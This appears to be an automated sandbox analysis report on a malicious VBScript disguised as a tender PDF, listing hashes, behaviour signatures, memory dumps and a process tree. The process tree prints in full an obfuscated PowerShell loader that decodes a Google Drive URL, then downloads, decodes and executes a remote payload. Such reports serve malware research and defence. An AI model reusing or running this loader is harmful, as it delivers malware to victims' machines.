Analysis

  • max time kernel
    150s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    06/11/2024, 02:06

General

  • Target

    tender No. SHG-00080 - EPC2 -PDF.vbe

  • Size

    26KB

  • MD5

    5c41205813f5cb6111f7f54c55d79401

  • SHA1

    aded64d5b2fbd084ac1d9bf2916cc30668233636

  • SHA256

    37479a80364231d642aae1e5e2acbd5bd5ed93dce441890200f71f8063420a66

  • SHA512

    fac62621bd79c5befc2fc3c91a25ab185bb7958e3ccd2cf6eae2e736977cd3a4106b3ee38aa56e900b1e62c3f36a8f7dd69b5eff2d3e5a35c75ac1c12fd3aadd

  • SSDEEP

    768:OaRvluL79XDn/C+iV89wKpejmO1d527vkmQs90QtVFyMETjs365KbCXmosBOJ3oJ:V7J+Q0AMLzVZ1

Score
6/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Network Service Discovery 1 TTPs 1 IoCs

    Attempt to gather information on host's network.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\tender No. SHG-00080 - EPC2 -PDF.vbe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2288
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Overdevoutness Imitations Stakaternes #>;$Penduline='Chartreuses';<#Phylloptosis surgeoness Hungaric #>; function Baandvvens($Lejesvenden170){If ($host.DebuggerEnabled) {$Gregs++;}$Endosomes=$Fortudede+$Lejesvenden170.'Length' - $Gregs; for ( $Bernini=5;$Bernini -lt $Endosomes;$Bernini+=6){$Berninindspillede=$Bernini;$Childbearing+=$Lejesvenden170[$Bernini];}$Childbearing;}function Grampa($Chalcanthite){ . ($Betonstykker) ($Chalcanthite);}$Klunsers=Baandvvens 'WhitlMBytteo To ezFalsiiEternlG,spel Drv a Haan/F nan ';$Skematiskes=Baandvvens ' yttiTTabull ChicsRa ha1 Bart2 Blan ';$dingeys='Ionsc[Mahm nWhaleE Jungt umle. EnebSEarthEW motr romVHovedIApikoc DvrgEFhaarpSal eoLvindiOpmaanElendtKasseMBraviaarbejNra dsaJackagSkygge PrikRHolog]Najad:Litte:Po lusShit eParisCCrossuBu ferStyrkiFej hTFor,kyKalkmPNonliRPle.ro onbot H.esO,esilCMa.geoSkadeLMave =Stere$UndersBeflikTvtniELledemF neraNystrT,eappIoverbsS.ummkfldnieNo exsHypot ';$Klunsers+=Baandvvens 'E tim5Ild j.Lo,en0Echev Anmas(,ndilW iwifitholen PrisdDumpeoMat,lwT,icosParit Pill.NShoa,T hoae Trsta1Berki0 Out,.Golds0Putr.;Ekspe SustWAnkeri Forbn tulu6Overh4 verl;forty FircixSubre6Eudai4Grati;Kamgr Se.irG indvF.yre:Abste1Listi3kurik1 chry.Arbej0Lok,l) asha BranGscandeUnoffcAllonktold oCorra/Akkad2Farso0Speci1,mper0 Thyr0Sl,gt1Udfr 0Quina1Orna PyrrhFNanetiRaamlrMar eeevasifYdmygoRes oxInter/Cykel1Racia3mi.kw1Antih. Man 0 R nd ';$Kunstlede245=Baandvvens 'Paralu capesInflaeDelegrDyste-Udg faved nG llebeFle fN SpoiTce lu ';$Edderkoppebenene=Baandvvens 'Obj khsetzbtAngritHelbrp Pr,psNomen:Horol/An lo/SplitdDe,anrNom,diRabatv SnvleTa re. Pr mg MiseoHygenoHen.egPicr.lForske Over.BltcicWormcoInkormS,lve/LomaguCarexcMagth? TongeForurx Brugp Sca oExtrarBu kit olet=CertidUnapto FlitwAllonn Hinkl RelaoScal,aUnderdSprid& TaariSyn rdFi al=invad1sign 3Bodel4 ErklU BagnaWilto5U.kobgAntikAPurpl9Kir,en ulesRegerOUafhaS FemvY A,iexV nocNMultimKnstcp ExamVFilolUSporuAKvgeun TingSplur.Ftrium4G ydeSForstFHelflKL endVStjmarS rabzScottIYnk,nsTa ar ';$Tidsprioritets=Baandvvens 'Eghj.>Video ';$Betonstykker=Baandvvens 'DyspniiagttEvrnepxTole ';$Hjertestops='Forbryderspires';$Tilegnet='\Viperous.Sta';Grampa (Baandvvens 'Redem$Opeidgmanifl papeoRatioB nteAScotolngles:HematTLinseoBlaffU ingerStudiN ProjeMilieDVaereOExcepsScr tE Sandn Bjer= Betn$BestiE ubicn Me kvConve:SymmeAA dirp VivepMiddeDShittAbunk.T TilsA cos +Kilde$ BrugtKloriiNon,fL ntaELamelg Ov,rnVeksee horeTMango ');Grampa (Baandvvens 'Natur$ WallgUrethl ilejoNydelb olkhASyda LPur y:OverdUPurpon a.tic FremaUnf.rnAffotcTvange rigeLHaandaSooniBLuftfLKonsoEUnth =Ethox$UdfriE,oodcDprimedMasche BibarN plek copOFormaPR sklPTjetaEGen,aB Gro eParcenFullwEjivesnbystrESvire.FortyS Dk.epS.amaL Vaa iMa veT Morm(Franc$Pne mtStemmIChlorDRedekSPupp.PGalopRUnresI ParaoSiderRRela i altrTA freEHerretMpb as Gi e)Frisk ');Grampa (Baandvvens $dingeys);$Edderkoppebenene=$Uncancelable[0];$Weco=(Baandvvens 'T mpo$ NonegMoss,lSouchoGr.naB SulpaUn atL Nond:partiUScoviDOrangMPra,sUIndsaNUltraD JaciEFulleDSpraiE Pie.S Cim,=Kid,en NecreOrd.nW Pros- IlluOAmblybPremijFirsie Fav.COriantPr,bo IndtasSlummySympoSLa,iltsavble I stmCompl.GavebnJarleE FavoTignot. P,trWHus aEAfterbHusf.CVentrL Que,inoncoeArrivnVolutTDikin ');Grampa ($Weco);Grampa (Baandvvens 'Hypoc$snowfUgeni dKvadrmSamh.u Una nSpunsd Genee AfsadFariseR,diosBeg d.au ocHkontreMyselaTennedSupereFalhor ithrsHjem.[Frib $FurzeKBap iu,radonSteensTr cht Bequl RenteSlipndBrn teL kal2Kolle4Flock5 onve] Da r= samm$Do baKunclal Indtu chrnDynass.omfreUnderrBackssAfstu ');$Monsuns=Baandvvens 'Plati$UnfomUKunmidScowlmIncreuPa.glnRedhodTennieLambddDrmmeeDe tasStila.UvanuDcocciocheviwKalknn orsilErst oPremea Idead SaarFCrowbiIndeklSe vaeTofag(T.ack$NonreE ovred sterdBilleeSt etrS btoksergeoAudiopGar ep BraneUnme bCoideelactinOplyseVrkstnDybvaeLnned,Iml d$ZymosRSlgt,iPolitcDiacotpa,seaNrtfolunfam)Sysse ';$Rictal=$Tournedosen;Grampa (Baandvvens 'Hakni$Fly eG.oninlrumruOHydrobPy,traRecraL Foru:SnohaU ScurDFjernbH snuaJernbSBailiU Ra.pnFordae TilsrMil niSteniNSvklignonpoEKirkeR Overn Syste,dnbesdomst= krif( CoprT ,udeeSkrams onrut Brai-Kongrp ispraSpidsTAm rthPreco Eu,io$UdtoeRDissei SociCTr loT Sam a OmeglLazul)D nin ');while (!$Udbasuneringernes) {Grampa (Baandvvens 'Ganga$IndhagDiskelDuplioFuglebSe,veaC,ayllBrush:OverpTStimueBlindaDatanr Top.eAlumirT gges Pers=Mosel$Chlort Sh vrBnhrouIntrae Arte ') ;Grampa $Monsuns;Grampa (Baandvvens 'Fo mss ortTUnbegaProgyrSla bTAnoca-S,owhS Skdel baaneMehelEOutcupBen e Coryd4Fan,a ');Grampa (Baandvvens ' Craf$P.agtgIns,iLtil aO ienbKrubuA MetaLFeebl: ljenUTrklddBonitb UncoAHoldasPokieUMourinDesa,EGluc RSweatiskat,n.ndbaGInsatEwif,krExtr NAldere ForksThall=Mason(PatoltfolkeEMaskeSItemiT lokk-Villep ftenaEquivTSarseHM sar Galle$SuppoR KummI ircucLavrstMid.oaG,nboL ndit)H,gma ') ;Grampa (Baandvvens 'Harpe$TransgUa.taLChromoK nstb ftrkAListeLFeli : HypePTepefHDishoE Men n tireyUnifoLGoniob LickULin,eTFrousATogglz KarooTraveNKni seCafun=Pukyu$Fr,gog oastLarcusOAfterBTalsmASourilKam k: TuricLogotOA ater inflTBruyeIp.adeCCac.gOEpileUSt,fhSTolle+ Ophr+ Auto%Nonin$pythauEpiten ,isvcAcce,aA vasNLesbiCSa gsELigetLFouteAVinceBUnramLT,leoETvrmi.Marmac ci.koNonisu FadlN kbntPu sb ') ;$Edderkoppebenene=$Uncancelable[$phenylbutazone];}$Fifish=278666;$Berninindkbschefer=30895;Grampa (Baandvvens 'yvere$OveraG DrivlRequioMikkeb SynkAOverfLMesot: ForgUBlodrRForsvaEufemnSuperO Indsgmis rR.abacaIrradpCin,mH DeklEfrygtrN nsi Eriks=Recog SkalagI,dkoE EtagtEphra- BundCb rgmoPrintNMartitU ariEInsupnD.nattWhe.l Overf$SmuttrFire i enigcTimepTDatabAVidnelWet e ');Grampa (Baandvvens ' Zani$A.gergEkseklFor io Tracbstraaa Altsl Godk:PrefeFHyperoSwaggrT,edisdis agNonpesJ.ksrpKompeeSnowbrvdd lsEb.geoTo dfnMi bieSatsbrSving Modta=Forbi Abst[ SubrSSapphyJi.bysVanm tM.lineDad em Arve. PlutCChes,oDoughn rimv FindeUoplyrBetalt rupp] Bill:Si ne:SnebrF Ca mrBnfaloDemokmDatalBDr.dgaCoronsUd,oveUdski6Dagn 4ModefSAffortBytterAdobeida cenUrt dgSuppe( esu$o,stcU Mesor DiscaBlokknO ermoDobb g e kyrNegroavicefpCo lehroo neMaur r kns) P nt ');Grampa (Baandvvens 'Tinpe$AntelgLazzalunmerOPlumbbFunilaOvertLUntit:O.trapVildtR laai Washnat isc.nsapIFeltnPFlygta mskoLCenteINiniat urntyComat Indkl=Udpre Granu[ProsesUncomYDamk,s ibret DerfeDowngm Und .SuperTFremaeHeroexBetnktP.ant.GhenteBodegnJenl.C Ecpho Lan d,rainiMou.tn R seG lang] P,ec:Kokke:DiffuaEj.rtsB,ntacStrygi.amaiiBogsi. omatGGaz teforfaTNa tesTr phTAdre.RCremeIve nun ilhg Smgt(Unini$Evel.f urdeOBourdR San,sCardigvovvoS edaapTrneneOplanrSuprasAlmagOMerkanFrigreIntenRPrin.) Itha ');Grampa (Baandvvens 's ree$ ycoG Cal LNetwioStrtabFrafraAfkoglLymph:ankomPInkasA UnawRSpydsTDypnii saricUtjhuUirritL lydeaOc,ahrF skeiUnhansUdlediGlosenangleGStry.=Hurta$ brupP Lif r GloaiSeddenvels.c fouriD,trspLousea enzaL lasI Seast.agonyMimd.. UnslSU joiU E haBPrim.sprev tGreesrA klei inanNVolitGUrkok(Herma$SysteFAntikISkaftfSellaIt,ions Aw ihChiro, Vene$Lag rBR goleEbon.rhellinPunchIcanasNStvriI B.fanNatskdO hthK ,ekuBPort,s PsitC Alt,hsavneENo,defK ippeTapetr roto)Clau ');Grampa $Particularising;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Network Service Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2524

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2524-4-0x000007FEF5C8E000-0x000007FEF5C8F000-memory.dmp

    Filesize

    4KB

  • memory/2524-5-0x000000001B660000-0x000000001B942000-memory.dmp

    Filesize

    2.9MB

  • memory/2524-6-0x0000000002240000-0x0000000002248000-memory.dmp

    Filesize

    32KB

  • memory/2524-7-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

    Filesize

    9.6MB

  • memory/2524-8-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

    Filesize

    9.6MB

  • memory/2524-9-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

    Filesize

    9.6MB

  • memory/2524-10-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

    Filesize

    9.6MB

  • memory/2524-11-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

    Filesize

    9.6MB

  • memory/2524-12-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

    Filesize

    9.6MB

  • memory/2524-13-0x000007FEF5C8E000-0x000007FEF5C8F000-memory.dmp

    Filesize

    4KB

  • memory/2524-14-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

    Filesize

    9.6MB

  • memory/2524-15-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

    Filesize

    9.6MB

  • memory/2524-16-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

    Filesize

    9.6MB

  • memory/2524-17-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

    Filesize

    9.6MB